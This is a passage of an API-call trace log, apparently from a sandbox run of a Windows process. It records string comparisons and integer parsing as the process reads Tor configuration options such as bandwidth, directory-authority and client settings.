_Str2="AuthDirInvalid") returned 1 [0115.214] _strcmpi (_Str1="AuthDirInvalidCCs", _Str2="AuthDirInvalidCCs") returned 0 [0115.215] strstr (_Str="", _SubStr=",") returned 0x0 [0115.215] strlen (_Str="AuthDirFastGuarantee") returned 0x14 [0115.215] _strcmpi (_Str1="AuthDirFastGuarantee", _Str2="AccountingMax") returned 1 [0115.215] _strcmpi (_Str1="AuthDirFastGuarantee", _Str2="AccountingRule") returned 1 [0115.215] _strcmpi (_Str1="AuthDirFastGuarantee", _Str2="AccountingStart") returned 1 [0115.215] _strcmpi (_Str1="AuthDirFastGuarantee", _Str2="Address") returned 1 [0115.215] _strcmpi (_Str1="AuthDirFastGuarantee", _Str2="AllowDotExit") returned 1 [0115.215] _strcmpi (_Str1="AuthDirFastGuarantee", _Str2="AllowInvalidNodes") returned 1 [0115.215] _strcmpi (_Str1="AuthDirFastGuarantee", _Str2="AllowNonRFC953Hostnames") returned 1 [0115.215] _strcmpi (_Str1="AuthDirFastGuarantee", _Str2="AllowSingleHopCircuits") returned 1 [0115.215] _strcmpi (_Str1="AuthDirFastGuarantee", _Str2="AllowSingleHopExits") returned 1 [0115.215] _strcmpi (_Str1="AuthDirFastGuarantee", _Str2="AlternateBridgeAuthority") returned 1 [0115.215] _strcmpi (_Str1="AuthDirFastGuarantee", _Str2="AlternateDirAuthority") returned 1 [0115.215] _strcmpi (_Str1="AuthDirFastGuarantee", _Str2="AlternateHSAuthority") returned 1 [0115.215] _strcmpi (_Str1="AuthDirFastGuarantee", _Str2="AssumeReachable") returned 1 [0115.215] _strcmpi (_Str1="AuthDirFastGuarantee", _Str2="AuthDirBadDir") returned 1 [0115.215] _strcmpi (_Str1="AuthDirFastGuarantee", _Str2="AuthDirBadDirCCs") returned 1 [0115.215] _strcmpi (_Str1="AuthDirFastGuarantee", _Str2="AuthDirBadExit") returned 1 [0115.215] _strcmpi (_Str1="AuthDirFastGuarantee", _Str2="AuthDirBadExitCCs") returned 1 [0115.215] _strcmpi (_Str1="AuthDirFastGuarantee", _Str2="AuthDirInvalid") returned -1 [0115.215] _strcmpi (_Str1="AuthDirFastGuarantee", _Str2="AuthDirInvalidCCs") returned -1 [0115.215] _strcmpi (_Str1="AuthDirFastGuarantee", _Str2="AuthDirFastGuarantee") returned 0 [0115.215] _errno () returned 0x9f07d8 [0115.215] _errno () returned 0x9f07d8 [0115.215] _strcmpi (_Str1="", _Str2="KB") returned -1 [0115.215] _strcmpi (_Str1="b", _Str2="KB") returned -1 [0115.215] _strcmpi (_Str1="byte", _Str2="KB") returned -1 [0115.215] _strcmpi (_Str1="bytes", _Str2="KB") returned -1 [0115.215] _strcmpi (_Str1="kb", _Str2="KB") returned 0 [0115.215] strlen (_Str="AuthDirGuardBWGuarantee") returned 0x17 [0115.215] _strcmpi (_Str1="AuthDirGuardBWGuarantee", _Str2="AccountingMax") returned 1 [0115.215] _strcmpi (_Str1="AuthDirGuardBWGuarantee", _Str2="AccountingRule") returned 1 [0115.215] _strcmpi (_Str1="AuthDirGuardBWGuarantee", _Str2="AccountingStart") returned 1 [0115.215] _strcmpi (_Str1="AuthDirGuardBWGuarantee", _Str2="Address") returned 1 [0115.215] _strcmpi (_Str1="AuthDirGuardBWGuarantee", _Str2="AllowDotExit") returned 1 [0115.215] _strcmpi (_Str1="AuthDirGuardBWGuarantee", _Str2="AllowInvalidNodes") returned 1 [0115.215] _strcmpi (_Str1="AuthDirGuardBWGuarantee", _Str2="AllowNonRFC953Hostnames") returned 1 [0115.215] _strcmpi (_Str1="AuthDirGuardBWGuarantee", _Str2="AllowSingleHopCircuits") returned 1 [0115.215] _strcmpi (_Str1="AuthDirGuardBWGuarantee", _Str2="AllowSingleHopExits") returned 1 [0115.215] _strcmpi (_Str1="AuthDirGuardBWGuarantee", _Str2="AlternateBridgeAuthority") returned 1 [0115.215] _strcmpi (_Str1="AuthDirGuardBWGuarantee", _Str2="AlternateDirAuthority") returned 1 [0115.215] _strcmpi (_Str1="AuthDirGuardBWGuarantee", _Str2="AlternateHSAuthority") returned 1 [0115.215] _strcmpi (_Str1="AuthDirGuardBWGuarantee", _Str2="AssumeReachable") returned 1 [0115.215] _strcmpi (_Str1="AuthDirGuardBWGuarantee", _Str2="AuthDirBadDir") returned 1 [0115.216] _strcmpi (_Str1="AuthDirGuardBWGuarantee", _Str2="AuthDirBadDirCCs") returned 1 [0115.216] _strcmpi (_Str1="AuthDirGuardBWGuarantee", _Str2="AuthDirBadExit") returned 1 [0115.216] _strcmpi (_Str1="AuthDirGuardBWGuarantee", _Str2="AuthDirBadExitCCs") returned 1 [0115.216] _strcmpi (_Str1="AuthDirGuardBWGuarantee", _Str2="AuthDirInvalid") returned -1 [0115.216] _strcmpi (_Str1="AuthDirGuardBWGuarantee", _Str2="AuthDirInvalidCCs") returned -1 [0115.216] _strcmpi (_Str1="AuthDirGuardBWGuarantee", _Str2="AuthDirFastGuarantee") returned 1 [0115.216] _strcmpi (_Str1="AuthDirGuardBWGuarantee", _Str2="AuthDirGuardBWGuarantee") returned 0 [0115.216] _errno () returned 0x9f07d8 [0115.216] _errno () returned 0x9f07d8 [0115.216] _strcmpi (_Str1="", _Str2="MB") returned -1 [0115.216] _strcmpi (_Str1="b", _Str2="MB") returned -1 [0115.216] _strcmpi (_Str1="byte", _Str2="MB") returned -1 [0115.216] _strcmpi (_Str1="bytes", _Str2="MB") returned -1 [0115.216] _strcmpi (_Str1="kb", _Str2="MB") returned -1 [0115.216] _strcmpi (_Str1="kbyte", _Str2="MB") returned -1 [0115.216] _strcmpi (_Str1="kbytes", _Str2="MB") returned -1 [0115.216] _strcmpi (_Str1="kilobyte", _Str2="MB") returned -1 [0115.216] _strcmpi (_Str1="kilobytes", _Str2="MB") returned -1 [0115.216] _strcmpi (_Str1="kilobits", _Str2="MB") returned -1 [0115.216] _strcmpi (_Str1="kilobit", _Str2="MB") returned -1 [0115.216] _strcmpi (_Str1="kbits", _Str2="MB") returned -1 [0115.216] _strcmpi (_Str1="kbit", _Str2="MB") returned -1 [0115.216] _strcmpi (_Str1="m", _Str2="MB") returned -1 [0115.216] _strcmpi (_Str1="mb", _Str2="MB") returned 0 [0115.216] strlen (_Str="AuthDirPinKeys") returned 0xe [0115.216] _strcmpi (_Str1="AuthDirPinKeys", _Str2="AccountingMax") returned 1 [0115.216] _strcmpi (_Str1="AuthDirPinKeys", _Str2="AccountingRule") returned 1 [0115.216] _strcmpi (_Str1="AuthDirPinKeys", _Str2="AccountingStart") returned 1 [0115.216] _strcmpi (_Str1="AuthDirPinKeys", _Str2="Address") returned 1 [0115.216] _strcmpi (_Str1="AuthDirPinKeys", _Str2="AllowDotExit") returned 1 [0115.216] _strcmpi (_Str1="AuthDirPinKeys", _Str2="AllowInvalidNodes") returned 1 [0115.216] _strcmpi (_Str1="AuthDirPinKeys", _Str2="AllowNonRFC953Hostnames") returned 1 [0115.216] _strcmpi (_Str1="AuthDirPinKeys", _Str2="AllowSingleHopCircuits") returned 1 [0115.216] _strcmpi (_Str1="AuthDirPinKeys", _Str2="AllowSingleHopExits") returned 1 [0115.216] _strcmpi (_Str1="AuthDirPinKeys", _Str2="AlternateBridgeAuthority") returned 1 [0115.216] _strcmpi (_Str1="AuthDirPinKeys", _Str2="AlternateDirAuthority") returned 1 [0115.216] _strcmpi (_Str1="AuthDirPinKeys", _Str2="AlternateHSAuthority") returned 1 [0115.216] _strcmpi (_Str1="AuthDirPinKeys", _Str2="AssumeReachable") returned 1 [0115.216] _strcmpi (_Str1="AuthDirPinKeys", _Str2="AuthDirBadDir") returned 1 [0115.216] _strcmpi (_Str1="AuthDirPinKeys", _Str2="AuthDirBadDirCCs") returned 1 [0115.216] _strcmpi (_Str1="AuthDirPinKeys", _Str2="AuthDirBadExit") returned 1 [0115.216] _strcmpi (_Str1="AuthDirPinKeys", _Str2="AuthDirBadExitCCs") returned 1 [0115.216] _strcmpi (_Str1="AuthDirPinKeys", _Str2="AuthDirInvalid") returned 1 [0115.216] _strcmpi (_Str1="AuthDirPinKeys", _Str2="AuthDirInvalidCCs") returned 1 [0115.216] _strcmpi (_Str1="AuthDirPinKeys", _Str2="AuthDirFastGuarantee") returned 1 [0115.216] _strcmpi (_Str1="AuthDirPinKeys", _Str2="AuthDirGuardBWGuarantee") returned 1 [0115.216] _strcmpi (_Str1="AuthDirPinKeys", _Str2="AuthDirPinKeys") returned 0 [0115.216] _errno () returned 0x9f07d8 [0115.216] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.216] _errno () returned 0x9f07d8 [0115.217] strlen (_Str="AuthDirRejectCCs") returned 0x10 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AccountingMax") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AccountingRule") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AccountingStart") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="Address") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AllowDotExit") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AllowInvalidNodes") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AllowNonRFC953Hostnames") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AllowSingleHopCircuits") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AllowSingleHopExits") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AlternateBridgeAuthority") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AlternateDirAuthority") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AlternateHSAuthority") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AssumeReachable") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AuthDirBadDir") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AuthDirBadDirCCs") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AuthDirBadExit") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AuthDirBadExitCCs") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AuthDirInvalid") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AuthDirInvalidCCs") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AuthDirFastGuarantee") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AuthDirGuardBWGuarantee") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AuthDirPinKeys") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AuthDirReject") returned 1 [0115.217] _strcmpi (_Str1="AuthDirRejectCCs", _Str2="AuthDirRejectCCs") returned 0 [0115.217] strstr (_Str="", _SubStr=",") returned 0x0 [0115.217] strlen (_Str="AuthDirListBadExits") returned 0x13 [0115.217] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AccountingMax") returned 1 [0115.217] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AccountingRule") returned 1 [0115.217] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AccountingStart") returned 1 [0115.217] _strcmpi (_Str1="AuthDirListBadExits", _Str2="Address") returned 1 [0115.217] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AllowDotExit") returned 1 [0115.217] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AllowInvalidNodes") returned 1 [0115.217] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AllowNonRFC953Hostnames") returned 1 [0115.217] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AllowSingleHopCircuits") returned 1 [0115.217] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AllowSingleHopExits") returned 1 [0115.217] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AlternateBridgeAuthority") returned 1 [0115.217] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AlternateDirAuthority") returned 1 [0115.217] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AlternateHSAuthority") returned 1 [0115.217] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AssumeReachable") returned 1 [0115.217] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AuthDirBadDir") returned 1 [0115.217] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AuthDirBadDirCCs") returned 1 [0115.217] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AuthDirBadExit") returned 1 [0115.217] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AuthDirBadExitCCs") returned 1 [0115.217] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AuthDirInvalid") returned 1 [0115.218] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AuthDirInvalidCCs") returned 1 [0115.218] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AuthDirFastGuarantee") returned 1 [0115.218] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AuthDirGuardBWGuarantee") returned 1 [0115.218] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AuthDirPinKeys") returned -1 [0115.218] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AuthDirReject") returned -1 [0115.218] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AuthDirRejectCCs") returned -1 [0115.218] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AuthDirRejectUnlisted") returned -1 [0115.218] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AuthDirListBadDirs") returned 1 [0115.218] _strcmpi (_Str1="AuthDirListBadExits", _Str2="AuthDirListBadExits") returned 0 [0115.218] _errno () returned 0x9f07d8 [0115.218] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.218] _errno () returned 0x9f07d8 [0115.218] strlen (_Str="AuthDirMaxServersPerAddr") returned 0x18 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AccountingMax") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AccountingRule") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AccountingStart") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="Address") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AllowDotExit") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AllowInvalidNodes") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AllowNonRFC953Hostnames") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AllowSingleHopCircuits") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AllowSingleHopExits") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AlternateBridgeAuthority") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AlternateDirAuthority") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AlternateHSAuthority") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AssumeReachable") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AuthDirBadDir") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AuthDirBadDirCCs") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AuthDirBadExit") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AuthDirBadExitCCs") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AuthDirInvalid") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AuthDirInvalidCCs") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AuthDirFastGuarantee") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AuthDirGuardBWGuarantee") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AuthDirPinKeys") returned -1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AuthDirReject") returned -1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AuthDirRejectCCs") returned -1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AuthDirRejectUnlisted") returned -1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AuthDirListBadDirs") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AuthDirListBadExits") returned 1 [0115.218] _strcmpi (_Str1="AuthDirMaxServersPerAddr", _Str2="AuthDirMaxServersPerAddr") returned 0 [0115.218] _errno () returned 0x9f07d8 [0115.218] strtol (in: _Str="2", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 2 [0115.218] _errno () returned 0x9f07d8 [0115.219] strlen (_Str="AuthDirMaxServersPerAuthAddr") returned 0x1c [0115.219] _strcmpi (_Str1="AuthDirMaxServersPerAuthAddr", _Str2="AccountingMax") returned 1 [0115.219] _strcmpi (_Str1="AuthDirMaxServersPerAuthAddr", _Str2="AccountingRule") returned 1 [0115.219] _strcmpi (_Str1="AuthDirMaxServersPerAuthAddr", _Str2="AccountingStart") returned 1 [0115.219] _strcmpi (_Str1="AuthDirMaxServersPerAuthAddr", _Str2="Address") returned 1 [0115.219] _strcmpi (_Str1="AuthDirMaxServersPerAuthAddr", _Str2="AllowDotExit") returned 1 [0115.219] _strcmpi (_Str1="AuthDirMaxServersPerAuthAddr", _Str2="AllowInvalidNodes") returned 1 [0115.219] _strcmpi (_Str1="AuthDirMaxServersPerAuthAddr", _Str2="AllowNonRFC953Hostnames") returned 1 [0115.219] _strcmpi (_Str1="AuthDirMaxServersPerAuthAddr", _Str2="AllowSingleHopCircuits") returned 1 [0115.219] _strcmpi (_Str1="AuthDirMaxServersPerAuthAddr", _Str2="AllowSingleHopExits") returned 1 [0115.219] _strcmpi (_Str1="AuthDirMaxServersPerAuthAddr", _Str2="AlternateBridgeAuthority") returned 1 [0115.219] _strcmpi (_Str1="AuthDirMaxServersPerAuthAddr", _Str2="AlternateDirAuthority") returned 1 [0115.219] _strcmpi (_Str1="AuthDirMaxServersPerAuthAddr", _Str2="AlternateHSAuthority") returned 1 [0115.219] _strcmpi (_Str1="AuthDirMaxServersPerAuthAddr", _Str2="AssumeReachable") returned 1 [0115.219] _strcmpi (_Str1="AuthDirMaxServersPerAuthAddr", _Str2="AuthDirBadDir") returned 1 [0115.219] _strcmpi (_Str1="AuthDirMaxServersPerAuthAddr", _Str2="AuthDirBadDirCCs") returned 1 [0115.219] _strcmpi (_Str1="AuthDirMaxServersPerAuthAddr", _Str2="AuthDirBadExit") returned 1 [0115.219] _strcmpi (_Str1="AuthDirMaxServersPerAuthAddr", _Str2="AuthDirBadExitCCs") returned 1 [0115.219] _strcmpi (_Str1="AuthDirMaxServersPerAuthAddr", _Str2="AuthDirInvalid") returned 1 [0115.219] _strcmpi (_Str1="AuthDirMaxServersPerAuthAddr", _Str2="AuthDirInvalidCCs") returned 1 [0115.219] _strcmpi (_Str1="AuthDirMaxServersPerAuthAddr", _Str2="AuthDirFastGuarantee") returned 1 [0115.219] strtol (in: _Str="5", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 5 [0115.219] _errno () returned 0x9f07d8 [0115.219] strlen (_Str="AuthDirHasIPv6Connectivity") returned 0x1a [0115.219] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.219] _errno () returned 0x9f07d8 [0115.219] strlen (_Str="AuthoritativeDirectory") returned 0x16 [0115.219] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.219] _errno () returned 0x9f07d8 [0115.219] strlen (_Str="AutomapHostsOnResolve") returned 0x15 [0115.219] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.219] _errno () returned 0x9f07d8 [0115.220] strlen (_Str="AutomapHostsSuffixes") returned 0x14 [0115.220] strlen (_Str=",") returned 0x1 [0115.220] strlen (_Str="AvoidDiskWrites") returned 0xf [0115.220] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.220] _errno () returned 0x9f07d8 [0115.220] strlen (_Str="BandwidthBurst") returned 0xe [0115.220] _errno () returned 0x9f07d8 [0115.220] _strcmpi (_Str1="", _Str2="GB") returned -1 [0115.220] _strcmpi (_Str1="b", _Str2="GB") returned -1 [0115.220] _strcmpi (_Str1="byte", _Str2="GB") returned -1 [0115.220] _strcmpi (_Str1="bytes", _Str2="GB") returned -1 [0115.220] _strcmpi (_Str1="kb", _Str2="GB") returned 1 [0115.220] _strcmpi (_Str1="kbyte", _Str2="GB") returned 1 [0115.220] _strcmpi (_Str1="kbytes", _Str2="GB") returned 1 [0115.220] _strcmpi (_Str1="kilobyte", _Str2="GB") returned 1 [0115.220] _strcmpi (_Str1="kilobytes", _Str2="GB") returned 1 [0115.220] _strcmpi (_Str1="kilobits", _Str2="GB") returned 1 [0115.220] _strcmpi (_Str1="kilobit", _Str2="GB") returned 1 [0115.220] _strcmpi (_Str1="kbits", _Str2="GB") returned 1 [0115.220] _strcmpi (_Str1="kbit", _Str2="GB") returned 1 [0115.220] _strcmpi (_Str1="m", _Str2="GB") returned 1 [0115.220] _strcmpi (_Str1="mb", _Str2="GB") returned 1 [0115.220] _strcmpi (_Str1="mbyte", _Str2="GB") returned 1 [0115.220] _strcmpi (_Str1="mbytes", _Str2="GB") returned 1 [0115.220] _strcmpi (_Str1="megabyte", _Str2="GB") returned 1 [0115.220] _strcmpi (_Str1="megabytes", _Str2="GB") returned 1 [0115.220] _strcmpi (_Str1="megabits", _Str2="GB") returned 1 [0115.220] _strcmpi (_Str1="megabit", _Str2="GB") returned 1 [0115.220] _strcmpi (_Str1="mbits", _Str2="GB") returned 1 [0115.220] _strcmpi (_Str1="mbit", _Str2="GB") returned 1 [0115.220] _strcmpi (_Str1="gb", _Str2="GB") returned 0 [0115.220] strlen (_Str="BandwidthRate") returned 0xd [0115.220] _errno () returned 0x9f07d8 [0115.221] _strcmpi (_Str1="", _Str2="GB") returned -1 [0115.221] _strcmpi (_Str1="b", _Str2="GB") returned -1 [0115.221] _strcmpi (_Str1="byte", _Str2="GB") returned -1 [0115.221] _strcmpi (_Str1="bytes", _Str2="GB") returned -1 [0115.221] _strcmpi (_Str1="kb", _Str2="GB") returned 1 [0115.221] _strcmpi (_Str1="kbyte", _Str2="GB") returned 1 [0115.221] _strcmpi (_Str1="kbytes", _Str2="GB") returned 1 [0115.221] _strcmpi (_Str1="kilobyte", _Str2="GB") returned 1 [0115.221] _strcmpi (_Str1="kilobytes", _Str2="GB") returned 1 [0115.221] _strcmpi (_Str1="kilobits", _Str2="GB") returned 1 [0115.221] _strcmpi (_Str1="kilobit", _Str2="GB") returned 1 [0115.221] _strcmpi (_Str1="kbits", _Str2="GB") returned 1 [0115.221] _strcmpi (_Str1="kbit", _Str2="GB") returned 1 [0115.221] _strcmpi (_Str1="m", _Str2="GB") returned 1 [0115.221] _strcmpi (_Str1="mb", _Str2="GB") returned 1 [0115.221] _strcmpi (_Str1="mbyte", _Str2="GB") returned 1 [0115.221] _strcmpi (_Str1="mbytes", _Str2="GB") returned 1 [0115.221] _strcmpi (_Str1="megabyte", _Str2="GB") returned 1 [0115.221] _strcmpi (_Str1="megabytes", _Str2="GB") returned 1 [0115.221] _strcmpi (_Str1="megabits", _Str2="GB") returned 1 [0115.221] _strcmpi (_Str1="megabit", _Str2="GB") returned 1 [0115.221] _strcmpi (_Str1="mbits", _Str2="GB") returned 1 [0115.221] _strcmpi (_Str1="mbit", _Str2="GB") returned 1 [0115.221] _strcmpi (_Str1="gb", _Str2="GB") returned 0 [0115.221] strlen (_Str="BridgeAuthoritativeDir") returned 0x16 [0115.221] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.221] _errno () returned 0x9f07d8 [0115.221] strlen (_Str="BridgeRecordUsageByCountry") returned 0x1a [0115.221] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.221] _errno () returned 0x9f07d8 [0115.221] strlen (_Str="BridgeRelay") returned 0xb [0115.221] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.221] _errno () returned 0x9f07d8 [0115.221] strlen (_Str="CellStatistics") returned 0xe [0115.221] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.221] _errno () returned 0x9f07d8 [0115.222] strlen (_Str="LearnCircuitBuildTimeout") returned 0x18 [0115.222] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.222] _errno () returned 0x9f07d8 [0115.222] strlen (_Str="CircuitBuildTimeout") returned 0x13 [0115.222] _errno () returned 0x9f07d8 [0115.222] _strcmpi (_Str1="", _Str2="") returned 0 [0115.222] strlen (_Str="CircuitIdleTimeout") returned 0x12 [0115.222] _errno () returned 0x9f07d8 [0115.222] _strcmpi (_Str1="", _Str2="hour") returned -1 [0115.222] _strcmpi (_Str1="second", _Str2="hour") returned 1 [0115.222] _strcmpi (_Str1="seconds", _Str2="hour") returned 1 [0115.222] _strcmpi (_Str1="minute", _Str2="hour") returned 1 [0115.222] _strcmpi (_Str1="minutes", _Str2="hour") returned 1 [0115.222] _strcmpi (_Str1="hour", _Str2="hour") returned 0 [0115.222] strlen (_Str="CircuitStreamTimeout") returned 0x14 [0115.222] _errno () returned 0x9f07d8 [0115.222] _strcmpi (_Str1="", _Str2="") returned 0 [0115.222] strlen (_Str="CircuitPriorityHalflife") returned 0x17 [0115.222] atof (_String="-100.0") returned 0x9f07d0 [0115.223] strlen (_Str="ClientDNSRejectInternalAddresses") returned 0x20 [0115.223] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.223] _errno () returned 0x9f07d8 [0115.223] strlen (_Str="ClientOnly") returned 0xa [0115.223] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.223] _errno () returned 0x9f07d8 [0115.223] strlen (_Str="ClientPreferIPv6ORPort") returned 0x16 [0115.223] strcmp (_Str1="auto", _Str2="auto") returned 0 [0115.223] strlen (_Str="ClientPreferIPv6DirPort") returned 0x17 [0115.223] strcmp (_Str1="auto", _Str2="auto") returned 0 [0115.223] strlen (_Str="ClientRejectInternalAddresses") returned 0x1d [0115.223] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.223] _errno () returned 0x9f07d8 [0115.223] strlen (_Str="ClientUseIPv6") returned 0xd [0115.223] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.223] _errno () returned 0x9f07d8 [0115.223] strlen (_Str="ClientUseIPv4") returned 0xd [0115.223] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.223] _errno () returned 0x9f07d8 [0115.224] strlen (_Str="ConnLimit") returned 0x9 [0115.224] strtol (in: _Str="1000", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1000 [0115.224] _errno () returned 0x9f07d8 [0115.224] strlen (_Str="ConnDirectionStatistics") returned 0x17 [0115.224] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.224] _errno () returned 0x9f07d8 [0115.224] strlen (_Str="ConstrainedSockets") returned 0x12 [0115.224] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.224] _errno () returned 0x9f07d8 [0115.224] strlen (_Str="ConstrainedSockSize") returned 0x13 [0115.224] _errno () returned 0x9f07d8 [0115.224] _strcmpi (_Str1="", _Str2="") returned 0 [0115.224] strlen (_Str="ControlPortFileGroupReadable") returned 0x1c [0115.224] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.224] _errno () returned 0x9f07d8 [0115.224] strlen (_Str="ControlSocketsGroupWritable") returned 0x1b [0115.224] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.224] _errno () returned 0x9f07d8 [0115.224] strlen (_Str="SocksSocketsGroupWritable") returned 0x19 [0115.225] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.225] _errno () returned 0x9f07d8 [0115.225] strlen (_Str="CookieAuthentication") returned 0x14 [0115.225] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.225] _errno () returned 